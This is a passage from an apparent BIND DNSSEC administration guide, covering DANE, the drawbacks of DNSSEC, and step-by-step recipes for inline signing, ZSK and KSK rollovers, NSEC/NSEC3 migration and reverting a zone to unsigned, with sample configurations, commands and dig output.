  3. DNSSEC is designed to protect the communication between the client and the nameserver, however there are few applications or stub resolver libraries that take advantage of this. DNSSEC can help with last mile security in a managed environment, by deploying validating resolvers (such as BIND) on client machines.

In addition, early efforts have concentrated on getting DNSSEC deployed between authoritative servers and recursive servers as that is a prerequisite for working DNSSEC between the recursive server and the application. These efforts also provide a degree of protection for applications that are not DNSSEC-aware.

6.5.5. Introduction to DANE

With your DNS infrastructure now secured with DNSSEC, information can now be stored in DNS and its integrity and authenticity can be proved. One of the ne features that takes advantage of this is the DNS-Based Authentication of Named Entities, or DANE. Below is a list of features currently being developed and tested by the DANE community:

  • Use DANE as a verification mechanism to verify SSL/TLS certificates received over HTTPS for added security. You can see a live demonstration here: http://dane.verisignlabs.com/.
  • Store self-signed X.509 certificates, bypass having to pay a third party (such as a Certificate Authority) to sign the certificates.
  • Integrate with Mail Transfer Agents (MTA) to provide seamless email encryption.

DANE is an exciting area for DNS administrators, if you would like to learn more about the standards being proposed or new features being discussed, check out the DANE working group:https://datatracker.ietf.org/wg/dane/charter/. You can also check out Section 7.5, “Self-signed Certificate Recipe”.

6.6. Disadvantages of DNSSEC

DNSSEC, like many things in this world, is not perfect and without its own problems. Below are a few challenges and disadvantages that DNSSEC faces.

  1. Increased, well, everything: With DNSSEC, signed zones are larger, thus taking up more disk space; for DNSSEC-aware servers, the additional cryptographic computation usually results in increased system load; and the network packets are bigger, possibly putting more strains on the network infrastructure.
  2. Different security considerations: DNSSEC addresses many security concerns, most notably cache poisoning. But at the same time, it may introduce a set of different security considerations, such as amplification attack and zone enumeration through NSEC. These new concerns are still being identified and addressed by the Internet community.
  3. More complexity: If you have read this far, you probably already concluded this yourself. With additional resource records, keys, signatures, rotations, DNSSEC adds a lot more moving pieces on top of the existing DNS machine. The job of the DNS administrator changes, as DNS becomes the new secure repository of everything from spam avoidance to encryption keys, and the amount of work involved to troubleshoot a DNS-related issue becomes more challenging.
  4. Increased fragility: The increased complexity means more opportunities for things to go wrong. In the absence of DNSSEC, DNS was essentially “add something to the zone and forget”. With DNSSEC, each new component – re-signing, key rollover, interaction with parent zone, key management – adds more scope for error. It is entirely possible that the failure to validate a name is down to errors on the part of one or more zone operators rather than the result of a deliberate attack on the DNS.
  5. New maintenance tasks: Even if your new secure DNS infrastructure runs without any hiccups or security breaches, it still requires regular attention, from re-signing to key rollovers. While most of these can be automated, some of the tasks, such as KSK rollover, remain manual for the time being.
  6. Not enough people are using it today: while it’s estimated as of late 2014, that roughly 12% of the global Internet DNS traffic is validating [5] , that doesn’t mean that many of the DNS zones are actually signed. What this means is, if you signed your company’s zone today, only less than 15% of the Internet users are taking advantage of this extra security. It gets worse, with less than 1% of the .com domains signed, if you enabled DNSSEC validation today, it’s not likely to buy you or your users a whole lot more protection, until these popular domains names decide to sign their zones.

The last point may have more impact than you realize. Consider this: HTTP and HTTPS traffic make up majority of the web. While you may have secured your DNS infrastructure through DNSSEC, if your web hosting is outsourced to a third party that does not yet support DNSSEC in their own domain, or if your web page loads contents and components from insecure domains, the end users may experience validation problems when trying to access your web page. For example, although I may have signed the zone isc.org, but my web address http://www.isc.org is actually a CNAME to 96d719dc5612761de516fc.random-cloud-provider.com. As long asrandom-cloud-provider.com remains an insecure DNS zone, users cannot fully validate everything when they visit my web page and could be redirected elsewhere by a cache poisoning attack.


[4] Actually it cannot be verified, read Section 3.3.3, “How are Answers Verified?” to review why this would not work.

[5] This percentage an overly simplified average provided by Geoff Huston in an interview dated September 2014. The interview video can be found online at http://www.internetsociety.org/deploy360/blog/2014/09/video-geoff-huston-what-if-everyone-did-dnssec-apnic-38/. The research that includes more details, including percentage of DNSSEC traffic by country or by network, is available at http://www.potaroo.net/ispcol/2014-07/measure.html.

Chapter 7. Recipes

This chapter provides step-by-step examples of some common configurations.

7.1. Inline Signing Recipes

There are two recipes here, the first shows an example of using inline signing on the master server, which is what we have covered in this guide thus far; the second example shows how to setup a “bump in the wire” between the hidden master and the slave servers to seamlessly sign the zone on the fly.

7.1.1. Master Server Inline Signing Recipe

In this recipe, our servers are illustrated as shown in Figure 7.1, “Inline Signing Recipe #1”: we have a master server 192.168.1.1 and three slave servers (192.168.1.2, 192.168.1.3, and 192.168.1.4) that receive zone transfers. In order to get the zone signed, we need to reconfigure the master server, as described in Section 4.1, “Easy Start Guide for Signing Authoritative Zones”. Once reconfigured, a signed version of the zone is generated on the fly by inline-signing, and zone transfers will take care of synchronizing the signed zone data to all slave name servers, without configuration or software changes on the slave servers.

Figure 7.1. Inline Signing Recipe #1

Inline Signing Recipe #1


Below is what the named.conf looks like on the master server, 192.168.1.1:

zone "example.com" IN {
    type master;
    file "db/example.com.db";
    key-directory "keys/example.com";
    inline-signing yes;
    auto-dnssec maintain;
    allow-transfer { 192.168.1.2; 192.168.1.3; 192.168.1.4; };
};

On the slave servers, named.conf does not need to be updated, and it looks like this:

zone "example.com" IN {
    type slave;
    file "db/example.com.db";
    masters { 192.168.1.1; };
};

In fact, slave servers do not even need to be running BIND, it could be running any other DNS product that has DNSSEC support.

7.1.2. “Bump in the Wire” Inline Signing Recipe

In this recipe, we are taking advantage of the power of inline signing by placing an additional name server 192.168.1.5 between the hidden master (192.168.1.1) and the DNS slaves (192.168.1.2, 192.168.1.3, and 192.168.1.4). The additional name server 192.168.1.5 acts as a “bump in the wire”, taking unsigned zone from the hidden master on one end, and sending out signed data on the other end to the slave name servers. The steps described in this recipe may be used as part of the DNSSEC deployment strategy, since it requires minimal changes made to the existing hidden DNS master and DNS slaves.

Figure 7.2. Inline Signing Scenario #2

Inline Signing Scenario #2


It is important to remember that 192.168.1.1 in this case is a hidden master not exposed to the world, it must not be listed in the NS RRset. Otherwise the world will get conflicting answers, unsigned answers from the hidden master, and signed answers from the other name servers.

The only configuration change needed on the hidden master 192.168.1.1 is to make sure it allows our middle box to perform a zone transfer:

zone "example.com" IN {
    ...
    allow-transfer { 192.168.1.5; };
    ...
};

On the middle box 192.168.1.5, all the tasks described in Section 4.1, “Easy Start Guide for Signing Authoritative Zones” still need to be performed, such as generating key pairs and uploading information to parent zone. This server is configured as slave to the hidden master 192.168.1.1, receiving the unsigned data, and then using keys accessible to this middle box, sign data on the fly, and send out the signed data via zone transfer to the other three DNS slaves. Its named.conf looks like this:

zone example.com {
    type slave;
    masters { 192.168.1.1; };
    file "db/example.com.db";
    key-directory "keys/example.com";
    inline-signing yes;
    auto-dnssec maintain;
    allow-transfer { 192.168.1.2; 192.168.1.3; 192.168.1.4; };
};

Finally, on the three slave servers, configuration should be updated to receive zone transfer from 192.168.1.5 (middle box) instead of 192.168.1.1 (hidden master). If using BIND, the named.conf looks like this:

zone "example.com" IN {
    type slave;
    file "db/example.com.db";
    masters { 192.168.1.5; };   # this was 192.168.1.1 before!
};

7.2. Rollover Recipes

7.2.1. ZSK Rollover Recipe

This recipe covers how to perform a ZSK rollover using what is known as the Pre-Publication method. For other ZSK rolling methods, please see Section 6.4.1.1, “ZSK Rollover Methods” in Chapter 6, Advanced Discussions.

Below is the timeline for a ZSK rollover to occur on January 1st, 2015:

  1. December 1st, 2014, a month before rollover

    • Generate new ZSK
    • Add DNSKEY for new ZSK to zone
  2. January 1st, 2015, day of rollover

    • New ZSK used to replace RRSIGs for the bulk of the zone
  3. February 1st, 2015

    • Remove old ZSK DNSKEY RRset from zone
    • DNSKEY signatures made with KSK are changed

The current active ZSK has the ID 17694 in this example. For more information on key management (such as what inactive date is, and why 30 days for example), please see Section 6.4, “Key Management”.

7.2.1.1. One Month Before ZSK Rollover

On December 1st, 2014, a month before the planned rollover, you should change the parameters on the current key (17694) to become inactive on January 1st, 2015, and be deleted from the zone on February 1st, 2015, as well as generate a successor key (51623):

# cd /etc/bind/keys/example.com/
# dnssec-settime -I 20150101 -D 20150201 Kexample.com.+008+17694
./Kexample.com.+008+17694.key
./Kexample.com.+008+17694.private
# dnssec-keygen -S Kexample.com.+008+17694
Generating key pair..++++++ ...........++++++ 
Kexample.com.+008+51623

The first command gets us into the key directory /etc/bind/keys/example.com/, where keys for example.com are stored.

The second dnssec-settime sets an inactive (-I) date of January 1st, 2015, and a deletion (-D) date of February 1st, 2015 for the current ZSK (Kexample.com.+008+17694).

Then the third command dnssec-keygen creates a successor key, using the exact same parameters (algorithms, key sizes, etc.) as the current ZSK. The new ZSK created in our example is Kexample.com.+008+51623.

Don’t forget to make sure the successor keys are readable by named.

You can see in named‘s logging messages informing you when the next key checking event is scheduled to occur, the frequency of which can be controlled by dnssec-loadkeys-interval. The log message looks like this:

zone example.com/IN (signed): next key event: 01-Dec-2014 00:13:05.385

And you can check the publish date of the key by looking at the key file:

# cd /etc/bind/keys/example.com
# cat Kexample.com.+008+51623.key 
; This is a zone-signing key, keyid 11623, for example.com.
; Created: 20141130160024 (Mon Dec  1 00:00:24 2014)
; Publish: 20141202000000 (Tue Dec  2 08:00:00 2014)
; Activate: 20150101000000 (Thu Jan  1 08:00:00 2015)
...

Since the publish date is set to the morning of December 2nd, the next morning you will notice that your zone has gained a new DNSKEY record, but the new ZSK is not yet being used to generate signatures. Below is the abbreviated output with shortened DNSKEY and RRSIG when querying the authoritative name server, 192.168.1.13:

$ dig @192.168.1.13 example.com. DNSKEY +dnssec +multiline

...
;; ANSWER SECTION:
example.com.        600 IN DNSKEY 257 3 8 (
                AwEAAcWDps...lM3NRn/G/R
                ) ; KSK; alg = RSASHA256; key id = 6817
example.com.        600 IN DNSKEY 256 3 8 (
                AwEAAbi6Vo...qBW5+iAqNz
                ) ; ZSK; alg = RSASHA256; key id = 51623
example.com.        600 IN DNSKEY 256 3 8 (
                AwEAAcjGaU...0rzuu55If5
                ) ; ZSK; alg = RSASHA256; key id = 17694
example.com.        600 IN RRSIG DNSKEY 8 2 600 (
                20150101000000 20141201230000 6817 example.com.
                LAiaJM26T7...FU9syh/TQ= )
example.com.        600 IN RRSIG DNSKEY 8 2 600 (
                20150101000000 20141201230000 17694 example.com.
                HK4EBbbOpj...n5V6nvAkI= )
...

And for good measures, let’s take a look at the SOA record and its signature for this zone. Notice the RRSIG is signed by the current ZSK 17694. This will come in handy later when you want to verify whether or not the new ZSK is in effect:

$ dig @192.168.1.13 example.com. SOA +dnssec +multiline

...
;; ANSWER SECTION:
example.com.        600 IN SOA ns1.example.com. admin.example.com. (
                2014120102 ; serial
                1800       ; refresh (30 minutes)
                900        ; retry (15 minutes)
                2419200    ; expire (4 weeks)
                300        ; minimum (5 minutes)
                )
example.com.        600 IN RRSIG SOA 8 2 600 (
                20141230160109 20141130150109 17694 example.com.
                YUTC8rFULaWbW+nAHzbfGwNqzARHevpryzRIJMvZBYPo
                NAeejNk9saNAoCYKWxGJ0YBc2k+r5fYq1Mg4ll2JkBF5
                buAsAYLw8vEOIxVpXwlArY+oSp9T1w2wfTZ0vhVIxaYX
                6dkcz4I3wbDx2xmG0yngtA6A8lAchERx2EGy0RM= )

These are all the manual tasks you need to perform for a ZSK rollover. If you have followed the configuration examples in this guide of using inline-signing and auto-dnssec, everything else is automated for you.

7.2.1.2. Day of ZSK Rollover

On the actual day of the rollover, although there is technically nothing for you to do, you should still keep an eye on the zone to make sure new signatures are being generated by the new ZSK (51623 in this example). The easiest way is to query the authoritative name server 192.168.1.13 for the SOA record like you did a month ago:

$ dig @192.168.1.13 example.com. SOA +dnssec +multiline

...
;; ANSWER SECTION:
example.com.        600 IN SOA ns1.example.com. admin.example.com. (
                2014112011 ; serial
                1800       ; refresh (30 minutes)
                900        ; retry (15 minutes)
                2419200    ; expire (4 weeks)
                300        ; minimum (5 minutes)
                )
example.com.        600 IN RRSIG SOA 8 2 600 (
                20150131000000 20141231230000 51623 example.com.
                J4RMNpJPOmMidElyBugJp0RLqXoNqfvo/2AT6yAAvx9X
                zZRL1cuhkRcyCSLZ9Z+zZ2y4u2lvQGrNiondaKdQCor7
                uTqH5WCPoqalOCBjqU7c7vlAM27O9RD11nzPNpVQ7xPs
                y5nkGqf83OXTK26IfnjU1jqiUKSzg6QR7+XpLk0= )
...

As you can see, the signature generated by the old ZSK (17694) disappeared, replaced by a new signature generated from the new ZSK (51623).

Life Time of the Signatures

Not all signatures will disappear magically on the same day, depending on when each one is generated. Worst case scenario is that a new signature could have been signed by the old ZSK (17695) moments before it was deactivated, thus the signature could live for almost 30 more days, all the way up to right before February 1st.

This is why it is important that you should keep the old ZSK in the zone for a little bit longer and not delete it right away.

7.2.1.3. One Month After ZSK Rollover

Again, technically there should be nothing you need to do on this day, but it doesn’t hurt to verify that the old ZSK (17694) is now completely gone from your zone. named will not touch Kexample.com.+008+17694.privateand Kexample.com.+008+17694.key on your file system. Running the same dig command for DNSKEY should suffice:

$ dig @192.168.1.13 example.com. DNSKEY +multiline +dnssec

...
;; ANSWER SECTION:
example.com.        600 IN DNSKEY 257 3 8 (
                AwEAAcWDps...lM3NRn/G/R
                ) ; KSK; alg = RSASHA256; key id = 6817
example.com.        600 IN DNSKEY 256 3 8 (
                AwEAAdeCGr...1DnEfX+Xzn
                ) ; ZSK; alg = RSASHA256; key id = 51623
example.com.        600 IN RRSIG DNSKEY 8 2 600 (
                20150203000000 20150102230000 6817 example.com.
                KHY8P0zE21...Y3szrmjAM= )
example.com.        600 IN RRSIG DNSKEY 8 2 600 (
                20150203000000 20150102230000 51623 example.com.
                G2g3crN17h...Oe4gw6gH8= )
...

Congratulations, the ZSK rollover is complete! As for the actual key files (the .key and .private files), they may be deleted at this point, but it’s not required.

7.2.2. KSK Rollover Recipe

This recipe describes how to perform KSK rollover using the Double-DS method. For other KSK rolling methods, please see Section 6.4.1.2, “KSK Rollover Methods” in Chapter 6, Advanced Discussions. The registrar used in this recipe is GoDaddy . Also for this recipe, we are keeping the number of DS records down to just one per active set using just SHA-1, for the sake of better clarity, although in practice most zone operators choose to upload 2 DS records as we have shown in Section 4.4, “Working with Parent Zone”. For more information on key management (such as what inactive date is, and why 30 days for example), please see Section 6.4, “Key Management”.

Below is the timeline for a KSK rollover to occur on January 1st, 2015:

  1. December 1st, 2014, a month before rollover

    • Change timer on current KSK
    • Generate new KSK and DS records
    • Add DNSKEY for new KSK to zone
    • Upload new DS records to parent zone
  2. January 1st, 2015, day of rollover

    • Use new KSK to sign all DNSKEY RRset, this generates new RRSIGs
    • Add new RRSIGs to the zone
    • Remove RRSIG for old ZSK from zone
    • Start using new KSK to sign DNSKEY
  3. February 1st, 2015

    • Remove old KSK DNSKEY from zone
    • Remove old DS records from parent zone

The current active KSK has the ID 248282, and this is the DS record that has already been published by the parent zone:

# dnssec-dsfromkey -a SHA-1 Kexample.com.+007+24828.key
example.com. IN DS 24828 7 1 D4A33E8DD550A9567B4C4971A34AD6C4B80A6AD3

7.2.2.1. One Month Before KSK Rollover

On December 1st, 2014, a month before the planned rollover, you should change the parameters on the current key to become inactive on January 1st, 2015, and be deleted from the zone on February 1st, 2015, as well as generate a successor key (23550). Finally, you should generate a new DS record based on the new key 23550:

# cd /etc/bind/keys/example.com/
# dnssec-settime -I 20150101 -D 20150201 Kexample.com.+007+24828
./Kexample.com.+007+24848.key
./Kexample.com.+007+24848.private
# dnssec-keygen -S Kexample.com.+007+24848
Generating key pair.......................................................................................++ ...................................++ 
Kexample.com.+007+23550
# dnssec-dsfromkey -a SHA-1 Kexample.com.+007+23550.key
example.com. IN DS 23550 7 1 54FCF030AA1C79C0088FDEC1BD1C37DAA2E70DFB

The first command gets us into the key directory /etc/bind/keys/example.com/, where keys for example.com are stored.

The second dnssec-settime sets an inactive (-I) date of January 1st, 2015, and a deletion (-D) date of February 1st, 2015 for the current KSK (Kexample.com.+007+24848).

Then the third command dnssec-keygen creates a successor key, using the exact same parameters (algorithms, key sizes, etc.) as the current KSK. The new key pair created in our example is Kexample.com.+007+23550.

The fourth and final command dnssec-dsfromkey creates a DS record from the new KSK (23550), using SHA-1 as the digest type. Again, in practice most people generate two DS records for both supported digest types (SHA-1 and SHA-256), but for our example here we are only using one to keep the output small and hopefully clearer.

Don’t forget to make sure the successor keys are readable by named.

You can see in syslog the messages informing you when the next key checking event is, and it looks like this:

zone example.com/IN (signed): next key event: 01-Dec-2014 00:13:05.385

And you can check the publish date of the key by looking at the key file:

# cd /etc/bind/keys/example.com
# cat Kexample.com.+007+23550.key
; This is a key-signing key, keyid 23550, for example.com.
; Created: 20141130160024 (Mon Dec  1 00:00:24 2014)
; Publish: 20141202000000 (Tue Dec  2 08:00:00 2014)
; Activate: 20150101000000 (Thu Jan  1 08:00:00 2015)
...

Since the publish date is set to the morning of December 2nd, the next morning you will notice that your zone has gained a new DNSKEY record based on your new KSK, but no corresponding RRSIG yet. Below is the abbreviated output with shortened DNSKEY and RRSIG when querying the authoritative name server, 192.168.1.13:

$ dig @192.168.1.13 example.com. DNSKEY +dnssec +multiline

...
;; ANSWER SECTION:
example.com.   300 IN DNSKEY 256 3 7 (
                AwEAAdYqAc...TiSlrma6Ef
                ) ; ZSK; alg = NSEC3RSASHA1; key id = 29747
example.com.   300 IN DNSKEY 257 3 7 (
                AwEAAeTJ+w...O+Zy9j0m63
                ) ; KSK; alg = NSEC3RSASHA1; key id = 24828
example.com.   300 IN DNSKEY 257 3 7 (
                AwEAAc1BQN...Wdc0qoH21H
                ) ; KSK; alg = NSEC3RSASHA1; key id = 23550
example.com.   300 IN RRSIG DNSKEY 7 2 300 (
                20141206125617 20141107115617 24828 example.com.
                4y1iPVJOrK...aC3iF9vgc= )
example.com.   300 IN RRSIG DNSKEY 7 2 300 (
                20141206125617 20141107115617 29747 example.com.
                g/gfmPjr+y...rt/S/xjPo= )

...

Any time after you have generated the DS record, you could upload it, you don’t have to wait for the DNSKEY to be published in your zone, since this new KSK is not active yet. You could choose to do it immediately after the new DS record has been generated on December 1st, or you could wait until the next day after you have verified that the new DNSKEY record is added to the zone. Below are the screenshots from using GoDaddy’s web-based interface to add a new DS record.

  1. After logging in, click the green “Launch” button next to the domain name you want to manage.

    Figure 7.3. Upload DS Record Step #1

    Upload DS Record Step #1
  2. Scroll down to the “DS Records” section and click Manage.

    Figure 7.4. Upload DS Record Step #2

    Upload DS Record Step #2
  3. A dialog appears, displaying the current key (24828). Click “Add DS Record”.

    Figure 7.5. Upload DS Record Step #3

    Upload DS Record Step #3
  4. Enter the Key ID, algorithm, digest type, and the digest, then click “Next”.

    Figure 7.6. Upload DS Record Step #4

    Upload DS Record Step #4
  5. Address any errors and click “Finish”.

    Figure 7.7. Upload DS Record Step #5

    Upload DS Record Step #5
  6. Both DS records are shown. Click “Save”.

    Figure 7.8. Upload DS Record Step #6

    Upload DS Record Step #6

Finally, let’s verify that the registrar has published the new DS record. This may take anywhere from a few minutes to a few days, depending on your parent zone. You could verify whether or not your parent zone has published the new DS record by querying for the DS record of your zone. In the example below, the Google public DNS server 8.8.8.8 is used:

$ dig @8.8.8.8 example.com. DS

...
;; ANSWER SECTION:
example.com.    21552   IN  DS  24828 7 1 D4A33E8DD550A9567B4C4971A34AD6C4B80A6AD3
example.com.    21552   IN  DS  23550 7 1 54FCF030AA1C79C0088FDEC1BD1C37DAA2E70DFB

You could also query your parent zone’s authoritative name servers directly to see if these records have been published. DS records will not show up on your own authoritative zone, so do not query your own name servers for them. In this recipe, the parent zone is .com, so querying a few of the .com name servers is another appropriate verification.

7.2.2.2. Day of KSK Rollover

If you have followed the examples in this document as described in Section 4.1, “Easy Start Guide for Signing Authoritative Zones”, there is technically nothing you need to do manually on the actual day of the rollover. However, you should still keep an eye on the zone to make sure new signature(s) are being generated by the new KSK (23550 in this example). The easiest way is to query the authoritative name server 192.168.1.13 for the same DNSKEY and signatures like you did a month ago:

$ dig @192.168.1.13 example.com. DNSKEY +dnssec +multiline

...
;; ANSWER SECTION:
example.com.   300 IN DNSKEY 256 3 7 (
                AwEAAdYqAc...TiSlrma6Ef
                ) ; ZSK; alg = NSEC3RSASHA1; key id = 29747
example.com.   300 IN DNSKEY 257 3 7 (
                AwEAAeTJ+w...O+Zy9j0m63
                ) ; KSK; alg = NSEC3RSASHA1; key id = 24828
example.com.   300 IN DNSKEY 257 3 7 (
                AwEAAc1BQN...Wdc0qoH21H
                ) ; KSK; alg = NSEC3RSASHA1; key id = 23550
example.com.    300 IN RRSIG DNSKEY 7 2 300 (
                20150201074900 20150101064900 23550 mydnssecgood.org.
                S6zTbBTfvU...Ib5eXkbtE= )
example.com.    300 IN RRSIG DNSKEY 7 2 300 (
                20150105074900 20141206064900 29747 mydnssecgood.org.
                VY5URQA2/d...OVKr1+KX8= )
...

As you can see, the signature generated by the old KSK (24828) disappeared, replaced by a new signature generated from the new KSK (23550).

7.2.2.3. One Month After KSK Rollover

While the removal of the old DNSKEY from zone should be automated by named, the removal of the DS record is manual. You should make sure the old DNSKEY record is gone from your zone first by querying for the DNSKEY records of the zone, and this time we expect to see one less DNSKEY, namely the key with ID of 24828:

$ dig @192.168.1.13 example.com. DNSKEY +dnssec +multiline

...
;; ANSWER SECTION:
example.com.    300 IN DNSKEY 256 3 7 (
                AwEAAdYqAc...TiSlrma6Ef
                ) ; ZSK; alg = NSEC3RSASHA1; key id = 29747
example.com.    300 IN DNSKEY 257 3 7 (
                AwEAAc1BQN...Wdc0qoH21H
                ) ; KSK; alg = NSEC3RSASHA1; key id = 23550
example.com.    300 IN RRSIG DNSKEY 7 2 300 (
                20150208000000 20150105230000 23550 mydnssecgood.org.
                Qw9Em3dDok...bNCS7KISw= )
example.com.    300 IN RRSIG DNSKEY 7 2 300 (
                20150208000000 20150105230000 29747 mydnssecgood.org.
                OuelpIlpY9...XfsKupQgc= )
...

Now, we can remove the old DS record for key 24828 from our parent zone. Be careful to remove the correct DS record. If we accidentally removed the new DS record(s) of key ID 23550, it could lead to a problem called “security lameness”, as discussed in Section 5.4.1, “Security Lameness”, and may cause users unable to resolve any names in our zone.

  1. After logging in and launched the domain, scroll down to the “DS Records” section and click Manage.

    Figure 7.9. Remove DS Record Step #1

    Remove DS Record Step #1
  2. A dialog appears, displaying both keys (24828 and 23550). Use the far right hand X button to remove the key 24828.

    Figure 7.10. Remove DS Record Step #2

    Remove DS Record Step #2
  3. Key 24828 now appears crossed out, click “Save” to complete the removal.

    Figure 7.11. Remove DS Record Step #3

    Remove DS Record Step #3

Congratulations, the KSK rollover is complete! As for the actual key files (the .key and .private files), they may be deleted at this point, but it’s not required.

7.3. NSEC and NSEC3 Recipes

7.3.1. Migrating from NSEC to NSEC3

This recipe describes how to go from using NSEC to NSEC3, as described in both Section 4.5, “Using NSEC3” and Section 6.2, “Proof of Non-Existence (NSEC and NSEC3) ”. Thie recipe assumes that the zones are already signed, and named is configured according to the steps described in Section 4.1, “Easy Start Guide for Signing Authoritative Zones”.

This command below enables NSEC3 for the zone example.com, using a pseudo-random string 1234567890abcdef for its salt:

# rndc signing -nsec3param 1 0 10 1234567890abcdef example.com

You’ll know it worked if you see the following log messages:

Oct 21 13:47:21 received control channel command 'signing -nsec3param 1 0 10 1234567890abcdef example.com'
Oct 21 13:47:21 zone example.com/IN (signed): zone_addnsec3chain(1,CREATE,10,1234567890ABCDEF)

You can also verify that this worked by querying for a name you know that does not exist, and check for the presence of the NSEC3 record, such as this:

$ dig @192.168.1.13 thereisnowaythisexists.example.com. A +dnssec +multiline

...
TOM10UQBL336NFAQB3P6MOO53LSVG8UI.example.com. 300 IN NSEC3 1 0 10 1234567890ABCDEF (
                TQ9QBEGA6CROHEOC8KIH1A2C06IVQ5ER
                NS SOA RRSIG DNSKEY NSEC3PARAM )
...

Our example used four parameters: 1, 0, 10, and 1234567890ABCDEF, in the order they appeared. 1 represents the algorithm, 0 represents the opt-out flag, 10 represents the number of iterations, and 1234567890abcedf is the salt. To learn more about each of these parameters, please see Section 6.2.2.1, “NSEC3PARAM”.

For example, to create an NSEC3 chain using the SHA-1 hash algorithm, no opt-out flag, 10 iterations, and a salt value of “FFFF”, use:

# rndc signing -nsec3param 1 0 10 FFFF example.com

To set the opt-out flag, 15 iterations, and no salt, use:

# rndc signing -nsec3param 1 1 15 - example.com

7.3.2. Migrating from NSEC3 to NSEC

This recipe describes how to migrate from NSEC3 to NSEC.

Migrating from NSEC3 back to NSEC is easy, just use the rndc like this:

$ rndc signing -nsec3param none example.com

You know that it worked if you see these messages in log:

named[14093]: received control channel command 'signing -nsec3param none example.com'
named[14093]: zone example.com/IN: zone_addnsec3chain(1,REMOVE,10,1234567890ABCDEF)

Of course, you can query for a name that you know that does not exist, and you should no longer see any traces of NSEC3 records.

$ dig @192.168.1.13 reieiergiuhewhiouwe.example.com. A +dnssec +multiline

...
example.com.        300 IN NSEC aaa.example.com. NS SOA RRSIG NSEC DNSKEY
...
ns1.example.com.    300 IN NSEC web.example.com. A RRSIG NSEC
...

7.3.3. Changing NSEC3 Salt Recipe

In Section 6.2.2.3, “NSEC3 Salt”, we’ve discussed the reasons why you may want to change your salt once in a while for better privacy. In this recipe, we will look at what command to execute to actually change the salt, and how to verify that it has been changed.

To change your NSEC3 salt to “fedcba0987654321”, you may run the rndc signing command like this:

# rndc signing -nsec3param 1 1 10 fedcba0987654321 example.com

You should see the following messages in log, assuming your old salt was “1234567890abcdef”:

named[15848]: zone example.com/IN: zone_addnsec3chain(1,REMOVE,10,1234567890ABCDEF)
named[15848]: zone example.com/IN: zone_addnsec3chain(1,CREATE|OPTOUT,10,FEDCBA0987654321)

You can of course, try to query the name server (192.168.1.13 in our example) for a name that does not exist, and check the NSEC3 record returned:

$ dig @192.168.1.13 thereisnowaythisexists.example.com. A +dnssec +multiline

...
TOM10UQBL336NFAQB3P6MOO53LSVG8UI.example.com. 300 IN NSEC3 1 0 10 FEDCBA0987654321 (
                TQ9QBEGA6CROHEOC8KIH1A2C06IVQ5ER
                NS SOA RRSIG DNSKEY NSEC3PARAM )
...

Pseudo-Random Salt

You can use a pseudo-random source to create the salt for you. Here is an example on Linux to create a 16-character hex string:

# rndc signing -nsec3param 1 0 10 $(head -c 300 /dev/random | sha1sum | cut -b 1-16) example.com

BIND 9.10 and newer provides the keyword auto which may be used in place of the salt field for named to generate a random salt.

7.3.4. NSEC3 Optout Recipe

This recipe discusses how to enable and disable NSEC3 opt-out, and show the results of each action. As discussed in Section 6.2.2.2, “NSEC3 Opt-Out”, NSEC3 opt-out is a feature that can help conserve resources on parent zones that have many delegations that have yet been signed.

Before starting, for this recipe we will assume the zone example.com has the following 4 entries (for this example, it is not relevant what record types these entries are):

And the zone example.com has 5 delegations to 5 sub domains, only one of which is signed and has a valid DS RRset:

  • aaa.example.com, not signed
  • bbb.example.com, signed
  • ccc.example.com, not signed
  • ddd.example.com, not signed
  • eee.example.com, not signed

Before enabling NSEC3 opt-out, the zone example.com contains ten NSEC3 records, below is the list with plain text name before the actual NSEC3 record:

  • aaa.example.com: 9NE0VJGTRTMJOS171EC3EDL6I6GT4P1Q.example.com.
  • bbb.example.com: AESO0NT3N44OOSDQS3PSL0HACHUE1O0U.example.com.
  • ccc.example.com: SF3J3VR29LDDO3ONT1PM6HAPHV372F37.example.com.
  • ddd.example.com: TQ9QBEGA6CROHEOC8KIH1A2C06IVQ5ER.example.com.
  • eee.example.com: L16L08NEH48IFQIEIPS1HNRMQ523MJ8G.example.com.
  • ftp.example.com: JKMAVHL8V7EMCL8JHIEN8KBOAB0MGUK2.example.com.
  • ns1.example.com: FSK5TK9964BNE7BPHN0QMMD68IUDKT8I.example.com.
  • web.example.com: D65CIIG0GTRKQ26Q774DVMRCNHQO6F81.example.com.
  • http://www.example.com: NTQ0CQEJHM0S17POMCUSLG5IOQQEDTBJ.example.com.
  • example.com: TOM10UQBL336NFAQB3P6MOO53LSVG8UI.example.com.

We can enable NSEC3 opt-out with this command, changing the opt-out bit (the second parameter of the 4) from 0 to 1 (see Section 6.2.2.1, “NSEC3PARAM” to review what each parameter is):

# rndc signing -nsec3param 1 1 10 1234567890abcdef example.com

After NSEC3 opt-out is enabled, the number of NSEC3 records is reduced. Notice that the unsigned delegations aaa, ccc, ddd, and eee now don’t have corresponding NSEC3 records.

  • bbb.example.com: AESO0NT3N44OOSDQS3PSL0HACHUE1O0U.example.com.
  • ftp.example.com: JKMAVHL8V7EMCL8JHIEN8KBOAB0MGUK2.example.com.
  • ns1.example.com: FSK5TK9964BNE7BPHN0QMMD68IUDKT8I.example.com.
  • web.example.com: D65CIIG0GTRKQ26Q774DVMRCNHQO6F81.example.com.
  • http://www.example.com: NTQ0CQEJHM0S17POMCUSLG5IOQQEDTBJ.example.com.
  • example.com: TOM10UQBL336NFAQB3P6MOO53LSVG8UI.example.com.

To undo NSEC3 opt-out, run the same rndc command with the opt-out bit set to 0:

# rndc signing -nsec3param 1 0 10 1234567890abcdef example.com

nsec3hash

NSEC3 hashes the plain text domain name, and we can compute our own hashes using the tool nsec3hash. For example, to compute the hashed name for “www.example.com” using the parameters we listed above, we would execute the command like this:

# nsec3hash 1234567890ABCDEF 1 10 www.example.com.
NTQ0CQEJHM0S17POMCUSLG5IOQQEDTBJ (salt=1234567890ABCDEF, hash=1, iterations=10)

7.4. Reverting to Unsigned Recipe

This recipe describes how to revert from signed zone (DNSSEC) back to unsigned (DNS).

Whether or not the world thinks your zone is signed really comes down to the DS records hosted by your parent zone. If there are no DS records, the world thinks your zone is not signed. So reverting to unsigned is as easy as removing all DS records from the parent zone.

Below is an example of removing using GoDaddy web-based interface to remove all DS records.

  1. After logging in, click the green “Launch” button next to the domain name you want to manage.

    Figure 7.12. Revert to Unsigned Step #1

    Revert to Unsigned Step #1
  2. Scroll down to the “DS Records” section and click Manage.

    Figure 7.13. Revert to Unsigned Step #2

    Revert to Unsigned Step #2
  3. A dialog appears, displaying all current keys. Use the far right hand X button to remove each key.

    Figure 7.14. Revert to Unsigned Step #3

    Revert to Unsigned Step #3
  4. Click Save

    Figure 7.15. Revert to Unsigned Step #4

